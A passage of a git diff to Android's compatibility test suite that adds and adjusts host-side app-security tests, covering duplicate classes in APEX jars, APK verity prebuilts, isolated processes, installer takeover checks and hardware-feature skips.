     public void testBootClassPathAndSystemServerClasspath_nonDuplicateClasses() throws Exception {
+        assumeTrue(ApiLevelUtil.isAfter(getDevice(), 29));
         runWithTempDir(tmpDir -> {
             final Set<DeviceFile> allJarFiles = Sets.union(
                 pullJarsFromEnvVariable(tmpDir, "BOOTCLASSPATH"),
@@ -155,6 +169,45 @@
         });
     }
 
+    /**
+     * Ensure that there are no duplicate classes among APEX jars listed in BOOTCLASSPATH.
+     */
+    @Test
+    public void testBootclasspath_nonDuplicateApexJarClasses() throws Exception {
+        runWithTempDir(tmpDir -> {
+            final Set<DeviceFile> bcpJarFiles = pullJarsFromEnvVariable(tmpDir, "BOOTCLASSPATH");
+            checkClassDuplicatesNotInApexJars(bcpJarFiles);
+        });
+    }
+
+    /**
+     * Ensure that there are no duplicate classes among APEX jars listed in SYSTEMSERVERCLASSPATH.
+     */
+    @Test
+    public void testSystemServerClasspath_nonDuplicateApexJarClasses() throws Exception {
+        runWithTempDir(tmpDir -> {
+            final Set<DeviceFile> sscpJarFiles =
+                pullJarsFromEnvVariable(tmpDir, "SYSTEMSERVERCLASSPATH");
+            checkClassDuplicatesNotInApexJars(sscpJarFiles);
+        });
+    }
+
+    /**
+     * Ensure that there are no duplicate classes among APEX jars listed in BOOTCLASSPATH and
+     * SYSTEMSERVERCLASSPATH.
+     */
+    @Test
+    public void testBootClassPathAndSystemServerClasspath_nonApexDuplicateClasses()
+            throws Exception {
+        runWithTempDir(tmpDir -> {
+            final Set<DeviceFile> allJarFiles = Sets.union(
+                pullJarsFromEnvVariable(tmpDir, "BOOTCLASSPATH"),
+                pullJarsFromEnvVariable(tmpDir, "SYSTEMSERVERCLASSPATH")
+            );
+            checkClassDuplicatesNotInApexJars(allJarFiles);
+        });
+    }
+
     private String getEnvVariable(String var) {
         try {
             return getDevice().executeShellCommand("echo $" + var).trim();
@@ -177,28 +230,56 @@
     }
 
     /**
-     * Checks that the duplicate classes in a set of jars exactly match a given whitelist.
+     * Gets the duplicate classes within a list of jar files.
+     * @param jars  A list of jar files.
+     * @return  A multimap with the class name as a key and the jar files as a value.
      */
-    private void checkClassDuplicatesMatchWhitelist(Set<DeviceFile> jars, Set<String> whitelist)
-            throws Exception {
-        final Multimap<String, DeviceFile> jarClasses = HashMultimap.create();
+    private Multimap<String, DeviceFile> getDuplicateClasses(Set<DeviceFile> jars)
+                throws Exception {
+        final Multimap<String, DeviceFile> allClasses = HashMultimap.create();
+        final Multimap<String, DeviceFile> duplicateClasses = HashMultimap.create();
         for (DeviceFile deviceFile : jars) {
             final DexFile dexFile =
                     DexFileFactory.loadDexFile(deviceFile.hostPath, Opcodes.getDefault());
             for (ClassDef classDef : dexFile.getClasses()) {
-                jarClasses.put(classDef.getType(), deviceFile);
+                allClasses.put(classDef.getType(), deviceFile);
             }
         }
-        Set<String> duplicateClasses = new HashSet<>();
+        for (Entry<String, Collection<DeviceFile>> entry : allClasses.asMap().entrySet()) {
+            if (entry.getValue().size() > 1) {
+                duplicateClasses.putAll(entry.getKey(), entry.getValue());
+            }
+        }
+        return duplicateClasses;
+    }
+
+    /**
+     * Checks that the duplicate classes in a set of jars exactly match a given whitelist.
+     */
+    private void checkClassDuplicatesMatchWhitelist(Set<DeviceFile> jars, Set<String> whitelist)
+            throws Exception {
         // Collect classes which appear in at least two distinct jar files.
+        Set<String> duplicateClasses = getDuplicateClasses(jars).keySet();
+        assertThat(duplicateClasses).isEqualTo(whitelist);
+    }
+
+    /**
+     * Checks that the duplicate classes are not in APEX jars.
+     */
+    private void checkClassDuplicatesNotInApexJars(Set<DeviceFile> jars)
+            throws Exception {
+        final Multimap<String, DeviceFile> jarClasses = getDuplicateClasses(jars);
         for (Entry<String, Collection<DeviceFile>> entry : jarClasses.asMap().entrySet()) {
             final String className = entry.getKey();
             final Collection<DeviceFile> filesWithClass = entry.getValue();
-            if (filesWithClass.size() > 1) {
-                duplicateClasses.add(className);
+            // Check that jars that define the same class are not part of apexes.
+            for (DeviceFile jarFile : filesWithClass) {
+                assertWithMessage("%s is available in: %s, of which %s is an APEX jar",
+                                    className, filesWithClass, jarFile.devicePath)
+                .that(jarFile.devicePath.startsWith("/apex/"))
+                .isFalse();
             }
         }
-        assertThat(duplicateClasses).isEqualTo(whitelist);
     }
 
     /**
diff --git a/hostsidetests/appsecurity/Android.bp b/hostsidetests/appsecurity/Android.bp
index 3cc61fe..3a569db 100644
--- a/hostsidetests/appsecurity/Android.bp
+++ b/hostsidetests/appsecurity/Android.bp
@@ -17,7 +17,7 @@
     defaults: ["cts_defaults"],
 
     // Only compile source java files in this apk.
-    srcs: ["src/**/*.java"],
+    srcs: ["src/**/*.java", "src/**/*.kt"],
 
     libs: [
         "cts-tradefed",
@@ -27,7 +27,11 @@
         "hamcrest-library",
     ],
 
-    static_libs: ["CompatChangeGatingTestBase"],
+    static_libs: [
+        "CompatChangeGatingTestBase",
+        "CtsPkgInstallerConstants",
+        "cts-host-utils",
+    ],
 
     java_resource_dirs: ["res"],
 
@@ -50,18 +54,8 @@
         "CtsCorruptApkTests_Unaligned_R",
     ],
 
-    data: [
-        ":CtsApkVerityTestApp",
-        ":CtsApkVerityTestAppFsvSig",
-        ":CtsApkVerityTestAppDm",
-        ":CtsApkVerityTestAppDmFsvSig",
-        ":CtsApkVerityTestAppSplit",
-        ":CtsApkVerityTestAppSplitFsvSig",
-        ":CtsApkVerityTestAppSplitDm",
-        ":CtsApkVerityTestAppSplitDmFsvSig",
-        ":CtsApkVerityTestApp2",
-        ":CtsApkVerityTestApp2FsvSig",
-    ],
+    // Prebuilts of all ABIs.
+    data: [":CtsApkVerityTestPrebuiltFiles"],
 }
 
 filegroup {
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v4-digest-v3-merkle-tree-10mb-trailing-data.apk b/hostsidetests/appsecurity/res/pkgsigverify/v4-digest-v3-merkle-tree-1mb-trailing-data.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v4-digest-v3-merkle-tree-10mb-trailing-data.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v4-digest-v3-merkle-tree-1mb-trailing-data.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v4-digest-v3-merkle-tree-10mb-trailing-data.apk.idsig b/hostsidetests/appsecurity/res/pkgsigverify/v4-digest-v3-merkle-tree-1mb-trailing-data.apk.idsig
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v4-digest-v3-merkle-tree-10mb-trailing-data.apk.idsig
rename to hostsidetests/appsecurity/res/pkgsigverify/v4-digest-v3-merkle-tree-1mb-trailing-data.apk.idsig
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v4-digest-v3-merkle-tree-10mb-trailing-data.apk b/hostsidetests/appsecurity/res/pkgsigverify/v4-digest-v3-merkle-tree-bit-flipped.apk
similarity index 100%
copy from hostsidetests/appsecurity/res/pkgsigverify/v4-digest-v3-merkle-tree-10mb-trailing-data.apk
copy to hostsidetests/appsecurity/res/pkgsigverify/v4-digest-v3-merkle-tree-bit-flipped.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v4-digest-v3-merkle-tree-bit-flipped.apk.idsig b/hostsidetests/appsecurity/res/pkgsigverify/v4-digest-v3-merkle-tree-bit-flipped.apk.idsig
new file mode 100644
index 0000000..a3fa2ab
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v4-digest-v3-merkle-tree-bit-flipped.apk.idsig
Binary files differ
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
index a21cee3..212986a 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
@@ -39,12 +39,12 @@
 
     private static final String PACKAGE_NAME = "android.appsecurity.cts.apkveritytestapp";
 
-    private static final String BASE_APK = "CtsApkVerityTestApp.apk";
-    private static final String BASE_APK_DM = "CtsApkVerityTestApp.dm";
-    private static final String SPLIT_APK = "CtsApkVerityTestAppSplit.apk";
-    private static final String SPLIT_APK_DM = "CtsApkVerityTestAppSplit.dm";
-    private static final String BAD_BASE_APK = "CtsApkVerityTestApp2.apk";
-    private static final String BAD_BASE_APK_DM = "CtsApkVerityTestApp2.dm";
+    private static final String BASE_APK = "CtsApkVerityTestAppPrebuilt.apk";
+    private static final String BASE_APK_DM = "CtsApkVerityTestAppPrebuilt.dm";
+    private static final String SPLIT_APK = "CtsApkVerityTestAppSplitPrebuilt.apk";
+    private static final String SPLIT_APK_DM = "CtsApkVerityTestAppSplitPrebuilt.dm";
+    private static final String BAD_BASE_APK = "CtsApkVerityTestApp2Prebuilt.apk";
+    private static final String BAD_BASE_APK_DM = "CtsApkVerityTestApp2Prebuilt.dm";
     private static final String FSV_SIG_SUFFIX = ".fsv_sig";
     private static final String APK_VERITY_STANDARD_MODE = "2";
 
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
index b1c450d..08581f6 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
@@ -22,9 +22,11 @@
 
 import static org.hamcrest.CoreMatchers.is;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
 
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.After;
@@ -77,6 +79,9 @@
     private static final String CHECK_IF_FUSE_DATA_ISOLATION_IS_ENABLED_COMMANDLINE =
             "getprop persist.sys.vold_app_data_isolation_enabled";
     private static final String APPA_METHOD_CREATE_EXTERNAL_DIRS = "testCreateExternalDirs";
+    private static final String APPA_METHOD_TEST_ISOLATED_PROCESS = "testIsolatedProcess";
+    private static final String APPA_METHOD_TEST_APP_ZYGOTE_ISOLATED_PROCESS =
+            "testAppZygoteIsolatedProcess";
     private static final String APPB_METHOD_CAN_NOT_ACCESS_APPA_EXTERNAL_DIRS =
             "testCanNotAccessAppAExternalDirs";
     private static final String APPB_METHOD_CAN_ACCESS_APPA_EXTERNAL_DIRS =
@@ -184,6 +189,8 @@
 
     @Test
     public void testDirectBootModeWorks() throws Exception {
+        assumeTrue("Screen lock is not supported so skip direct boot test",
+                hasDeviceFeature("android.software.secure_lock_screen"));
         // Install AppA and verify no data stored
         new InstallMultiple().addFile(APP_DIRECT_BOOT_A_APK).run();
         new InstallMultiple().addFile(APPB_APK).run();
@@ -215,7 +222,10 @@
             // Follow DirectBootHostTest, reboot system into known state with keys ejected
             if (isFbeModeEmulated()) {
                 final String res = getDevice().executeShellCommand("sm set-emulate-fbe true");
-                assertThat(res).contains("Emulation not supported");
+                if (res != null && res.contains("Emulation not supported")) {
+                    LogUtil.CLog.i("FBE emulation is not supported, skipping test");
+                    return;
+                }
                 getDevice().waitForDeviceNotAvailable(30000);
                 getDevice().waitForDeviceOnline(120000);
             } else {
@@ -328,4 +338,18 @@
                 CHECK_IF_FUSE_DATA_ISOLATION_IS_ENABLED_COMMANDLINE).trim(),
                 is("true"));
     }
+
+    @Test
+    public void testIsolatedProcess() throws Exception {
+        new InstallMultiple().addFile(APPA_APK).run();
+        new InstallMultiple().addFile(APPB_APK).run();
+        runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_TEST_ISOLATED_PROCESS);
+    }
+
+    @Test
+    public void testAppZygoteIsolatedProcess() throws Exception {
+        new InstallMultiple().addFile(APPA_APK).run();
+        new InstallMultiple().addFile(APPB_APK).run();
+        runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_TEST_APP_ZYGOTE_ISOLATED_PROCESS);
+    }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
index 0f43a54..3bea273 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
@@ -26,12 +26,16 @@
 import android.platform.test.annotations.SecurityTest;
 
 import com.android.ddmlib.Log;
+import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.HashMap;
+import java.util.Map;
+
 /**
  * Set of tests that verify various security checks involving multiple apps are
  * properly enforced.
@@ -251,6 +255,51 @@
     }
 
     /**
+     * Test that an app cannot set the installer package for an app with a different
+     * signature.
+     */
+    @Test
+    @AppModeFull(reason = "Only full apps can hold INSTALL_PACKAGES")
+    @SecurityTest
+    public void testCrossPackageDiffCertSetInstaller() throws Exception {
+        Log.i(LOG_TAG, "installing app that attempts to use permission of another app");
+        try {
+            // cleanup test app that might be installed from previous partial test run
+            getDevice().uninstallPackage(DECLARE_PERMISSION_PKG);
+            getDevice().uninstallPackage(DECLARE_PERMISSION_COMPAT_PKG);
+            getDevice().uninstallPackage(PERMISSION_DIFF_CERT_PKG);
+
+            new InstallMultiple().addFile(DECLARE_PERMISSION_APK).run();
+            new InstallMultiple().addFile(DECLARE_PERMISSION_COMPAT_APK).run();
+            new InstallMultiple().addFile(PERMISSION_DIFF_CERT_APK).run();
+
+            // Enable alert window permission so it can start activity in background
+            enableAlertWindowAppOp(DECLARE_PERMISSION_PKG);
+
+            runCrossPackageInstallerDeviceTest(PERMISSION_DIFF_CERT_PKG, "assertBefore");
+            runCrossPackageInstallerDeviceTest(DECLARE_PERMISSION_PKG, "takeInstaller");
+            runCrossPackageInstallerDeviceTest(PERMISSION_DIFF_CERT_PKG, "attemptTakeOver");
+            runCrossPackageInstallerDeviceTest(DECLARE_PERMISSION_PKG, "clearInstaller");
+            runCrossPackageInstallerDeviceTest(PERMISSION_DIFF_CERT_PKG, "assertAfter");
+        } finally {
+            getDevice().uninstallPackage(DECLARE_PERMISSION_PKG);
+            getDevice().uninstallPackage(DECLARE_PERMISSION_COMPAT_PKG);
+            getDevice().uninstallPackage(PERMISSION_DIFF_CERT_PKG);
+        }
+    }
+
+    /**
+     * Utility method to make actual test method easier to read.
+     */
+    private void runCrossPackageInstallerDeviceTest(String pkgName, String testMethodName)
+            throws DeviceNotAvailableException {
+        Map<String, String> arguments = new HashMap<>();
+        arguments.put("runExplicit", "true");
+        runDeviceTests(getDevice(), null, pkgName, pkgName + ".ModifyInstallerCrossPackageTest",
+                testMethodName, null, 10 * 60 * 1000L, 10 * 60 * 1000L, 0L, true, false, arguments);
+    }
+
+    /**
      * Test what happens if an app tried to take a permission away from another
      */
     @Test
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java
index 24cc5ae..283d3cb 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java
@@ -28,7 +28,7 @@
 /**
  * Base class.
  */
-abstract class BaseAppSecurityTest extends BaseHostJUnit4Test {
+public abstract class BaseAppSecurityTest extends BaseHostJUnit4Test {
 
     /** Whether multi-user is supported. */
     protected boolean mSupportsMultiUser;
@@ -92,7 +92,10 @@
             this(false);
         }
         public InstallMultiple(boolean instant) {
-            super(getDevice(), getBuild(), getAbi());
+            this(instant, true);
+        }
+        public InstallMultiple(boolean instant, boolean grantPermissions) {
+            super(getDevice(), getBuild(), getAbi(), grantPermissions);
             addArg(instant ? "--instant" : "");
             addArg("--force-queryable");
         }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseInstallMultiple.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseInstallMultiple.java
index cb170c9..4e43022 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseInstallMultiple.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseInstallMultiple.java
@@ -51,10 +51,17 @@
     private boolean mUseNaturalAbi;
 
     public BaseInstallMultiple(ITestDevice device, IBuildInfo buildInfo, IAbi abi) {
+        this(device, buildInfo, abi, true);
+    }
+
+    public BaseInstallMultiple(ITestDevice device, IBuildInfo buildInfo, IAbi abi,
+            boolean grantPermissions) {
         mDevice = device;
         mBuild = buildInfo;
         mAbi = abi;
-        addArg("-g");
+        if (grantPermissions) {
+            addArg("-g");
+        }
     }
 
     T addArg(String arg) {
@@ -64,7 +71,7 @@
 
     T addFile(String file) throws FileNotFoundException {
         CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
-        mFiles.add(buildHelper.getTestFile(file));
+        mFiles.add(buildHelper.getTestFile(file, mAbi));
         return (T) this;
     }
 
@@ -114,6 +121,11 @@
         return (T) this;
     }
 
+    T restrictPermissions() {
+        addArg("--restrict-permissions");
+        return (T) this;
+    }
+
     protected String deriveRemoteName(String originalName, int index) {
         return index + "_" + originalName;
     }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
index 3900d4a..f939b17 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
@@ -111,8 +111,10 @@
         device.uninstallPackage("com.android.appsecurity.b71360999");
         device.uninstallPackage("com.android.appsecurity.b71361168");
         device.uninstallPackage("com.android.appsecurity.b79488511");
-        device.uninstallPackage(CORRUPT_APK_PACKAGE_NAME);
+        // WARNING: PlatformCompat overrides for package parsing changes must be reset before the
+        // package is uninstalled because overrides cannot be reset if the package is not present.
         device.executeShellCommand("am compat reset-all " + CORRUPT_APK_PACKAGE_NAME);
+        device.uninstallPackage(CORRUPT_APK_PACKAGE_NAME);
     }
 
     @Before
@@ -132,7 +134,7 @@
     private String install(String apk) throws DeviceNotAvailableException, FileNotFoundException  {
         return getDevice().installPackage(
                 new CompatibilityBuildHelper(mBuildInfo).getTestFile(apk),
-                false /*reinstall*/);
+                true /* reinstall */);
     }
 
     /**
@@ -167,12 +169,13 @@
         assertInstallDoesNotCrashSystem("CtsCorruptApkTests_b79488511.apk");
     }
 
-    /** APKs that target pre-Q and have a compressed resources.arsc can be installed. */
+    /** APKs that target pre-R and have a compressed resources.arsc can be installed. */
     public void testFailInstallCompressedARSC_Q() throws Exception {
         assertNull(install(COMPRESSED_ARSC_Q));
     }
 
     public void testFailInstallCompressedARSC_Q_PlatformConfig_enabled() throws Exception {
+        assertNull(install(COMPRESSED_ARSC_Q));
         getDevice().executeShellCommand(String.format("am compat enable %s %s",
                 FAIL_COMPRESSED_ARSC_PLATFORM_CONFIG_ID, CORRUPT_APK_PACKAGE_NAME));
         assertNotNull(install(COMPRESSED_ARSC_Q));
@@ -183,18 +186,13 @@
         assertNotNull(install(COMPRESSED_ARSC_R));
     }
 
-    public void testFailInstallCompressedARSC_R_PlatformConfig_disabled() throws Exception {
-        getDevice().executeShellCommand(String.format("am compat disable %s %s",
-                FAIL_COMPRESSED_ARSC_PLATFORM_CONFIG_ID, CORRUPT_APK_PACKAGE_NAME));
-        assertNull(install(COMPRESSED_ARSC_R));
-    }
-
-    /** APKs that target pre-Q and have a unaligned resources.arsc can be installed. */
+    /** APKs that target pre-R and have a unaligned resources.arsc can be installed. */
     public void testFailInstallUnalignedARSC_Q() throws Exception {
         assertNull(install(UNALIGNED_ARSC_Q));
     }
 
     public void testFailInstallUnalignedARSC_Q_PlatformConfig_enabled() throws Exception {
+        assertNull(install(UNALIGNED_ARSC_Q));
         getDevice().executeShellCommand(String.format("am compat enable %s %s",
                 FAIL_COMPRESSED_ARSC_PLATFORM_CONFIG_ID, CORRUPT_APK_PACKAGE_NAME));
         assertNotNull(install(UNALIGNED_ARSC_Q));
@@ -204,10 +202,4 @@
     public void testFailInstallUnalignedARSC_R() throws Exception {
         assertNotNull(install(UNALIGNED_ARSC_R));
     }
-
-    public void testFailInstallUnalignedARSC_R_PlatformConfig_disabled() throws Exception {
-        getDevice().executeShellCommand(String.format("am compat disable %s %s",
-                FAIL_COMPRESSED_ARSC_PLATFORM_CONFIG_ID, CORRUPT_APK_PACKAGE_NAME));
-        assertNull(install(UNALIGNED_ARSC_R));
-    }
 }
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index b8bb01f..d986e58 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -55,6 +55,8 @@
     private static final String MODE_NONE = "none";
 
     private static final String FEATURE_DEVICE_ADMIN = "feature:android.software.device_admin";
+    private static final String FEATURE_SECURE_LOCK_SCREEN =
+            "feature:android.software.secure_lock_screen";
     private static final String FEATURE_AUTOMOTIVE = "feature:android.hardware.type.automotive";
 
     private static final long SHUTDOWN_TIME_MS = 30 * 1000;
@@ -213,7 +215,8 @@
     }
 
     private boolean isSupportedDevice() throws Exception {
-        return getDevice().hasFeature(FEATURE_DEVICE_ADMIN);
+        return getDevice().hasFeature(FEATURE_DEVICE_ADMIN)
+                && getDevice().hasFeature(FEATURE_SECURE_LOCK_SCREEN);
     }
 
     private boolean isAutomotiveDevice() throws Exception {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
index 1c83284..fc97c75 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
@@ -18,6 +18,8 @@
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 
+import com.android.tradefed.device.DeviceNotAvailableException;
+
 import com.google.common.collect.ImmutableSet;
 
 /**
@@ -26,6 +28,7 @@
  */
 public class DocumentsTest extends DocumentsTestCase {
     private static final String PROVIDER_PKG = "com.android.cts.documentprovider";
+    private static final String DUMMYIME_PKG = "com.android.cts.dummyime";
     private static final String PROVIDER_APK = "CtsDocumentProvider.apk";
     private static final String DUMMYIME_APK = "CtsDummyIme.apk";
 
@@ -46,7 +49,7 @@
         super.tearDown();
 
         getDevice().uninstallPackage(PROVIDER_PKG);
-        getDevice().uninstallPackage(DUMMYIME_APK);
+        getDevice().uninstallPackage(DUMMYIME_PKG);
     }
 
     public void testOpenSimple() throws Exception {
@@ -124,7 +127,7 @@
     }
 
     public void testRestrictStorageAccessFrameworkEnabled_blockFromTree() throws Exception {
-        if (isAtLeastR()) {
+        if (isAtLeastR() && isSupportedHardware()) {
             runDeviceCompatTest(CLIENT_PKG, ".DocumentsClientTest",
                 "testRestrictStorageAccessFrameworkEnabled_blockFromTree",
                 /* enabledChanges */ ImmutableSet.of(RESTRICT_STORAGE_ACCESS_FRAMEWORK),
@@ -133,7 +136,7 @@
     }
 
     public void testRestrictStorageAccessFrameworkDisabled_notBlockFromTree() throws Exception {
-        if (isAtLeastR()) {
+        if (isAtLeastR() && isSupportedHardware()) {
             runDeviceCompatTest(CLIENT_PKG, ".DocumentsClientTest",
                 "testRestrictStorageAccessFrameworkDisabled_notBlockFromTree",
                 /* enabledChanges */ ImmutableSet.of(),
@@ -153,4 +156,17 @@
             return false;
         }
     }
+
+    private boolean isSupportedHardware() {
+        try {
+            if (getDevice().hasFeature("feature:android.hardware.type.television")
+                    || getDevice().hasFeature("feature:android.hardware.type.watch")
+                    || getDevice().hasFeature("feature:android.hardware.type.automotive")) {
+                return false;
+            }
+        } catch (DeviceNotAvailableException e) {
+            return true;
+        }
+        return true;
+    }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
index fb8a4f2..a08a515 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
@@ -211,11 +211,12 @@
     }
 
     /**
-     * Verify that app without REQUEST_INSTALL_PACKAGES can't access obb
-     * directories belonging to other apps.
+     * Verify that apps can't leave gifts in package specific external storage
+     * directories belonging to other apps. Apps can only create files in their
+     * external storage directories.
      */
     @Test
-    public void testCantAccessOtherObbDirs() throws Exception {
+    public void testExternalStorageNoGifts() throws Exception {
         try {
             wipePrimaryExternalStorage();
 
@@ -227,14 +228,14 @@
             assertNull(getDevice().installPackage(getTestAppFile(WRITE_APK), false, options));
             assertNull(getDevice().installPackage(getTestAppFile(NONE_APK), false, options));
             assertNull(getDevice().installPackage(getTestAppFile(READ_APK), false, options));
-
             for (int user : mUsers) {
-                runDeviceTests(WRITE_PKG, WRITE_PKG + ".WriteGiftTest",
-                        "testCantAccessOtherObbDirs", user);
-                runDeviceTests(READ_PKG, READ_PKG + ".ReadGiftTest", "testCantAccessOtherObbDirs",
-                        user);
-                runDeviceTests(NONE_PKG, NONE_PKG + ".GiftTest", "testCantAccessOtherObbDirs",
-                        user);
+                runDeviceTests(NONE_PKG, NONE_PKG + ".GiftTest", "testStageNonGifts", user);
+                runDeviceTests(READ_PKG, READ_PKG + ".ReadGiftTest", "testStageNonGifts", user);
+                runDeviceTests(WRITE_PKG, WRITE_PKG + ".WriteGiftTest", "testStageNonGifts", user);
+
+                runDeviceTests(NONE_PKG, NONE_PKG + ".GiftTest", "testNoGifts", user);
+                runDeviceTests(READ_PKG, READ_PKG + ".ReadGiftTest", "testNoGifts", user);
+                runDeviceTests(WRITE_PKG, WRITE_PKG + ".WriteGiftTest", "testNoGifts", user);
             }
         } finally {
             getDevice().uninstallPackage(NONE_PKG);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/LocationPolicyTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/LocationPolicyTest.java
new file mode 100644
index 0000000..e2ff6c6
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/LocationPolicyTest.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/** Tests to verify app location access */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class LocationPolicyTest extends BaseAppSecurityTest {
+
+    private static final String TEST_PKG = "android.appsecurity.cts.locationpolicy";
+    private static final String TEST_APK = "CtsLocationPolicyApp.apk";
+
+    @Before
+    public void setUp() throws Exception {
+        getDevice().uninstallPackage(TEST_PKG);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        getDevice().uninstallPackage(TEST_PKG);
+    }
+
+    @Test
+    @SecurityTest
+    public void testLocationPolicyPermissions() throws Exception {
+        new InstallMultiple(true).addFile(TEST_APK).run();
+        Utils.runDeviceTests(
+            getDevice(), TEST_PKG, ".LocationPolicyTest", "testLocationPolicyPermissions");
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/LockScreenInspector.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/LockScreenInspector.java
new file mode 100644
index 0000000..bed2065
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/LockScreenInspector.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+import static org.junit.Assert.fail;
+
+import com.android.server.wm.KeyguardServiceDelegateProto;
+import com.android.server.wm.WindowManagerServiceDumpProto;
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import com.google.protobuf.MessageLite;
+import com.google.protobuf.Parser;
+
+class LockScreenInspector {
+    private static final String DUMPSYS_WINDOW = "dumpsys window --proto";
+
+    private Boolean mKeyguardShowingAndNotOccluded;
+    private final ITestDevice mDevice;
+
+    private LockScreenInspector(ITestDevice device) {
+        mDevice = device;
+    }
+
+    static LockScreenInspector newInstance(ITestDevice device) {
+        LockScreenInspector inspector = new LockScreenInspector(device);
+        inspector.checkCurrentState();
+        return inspector;
+    }
+
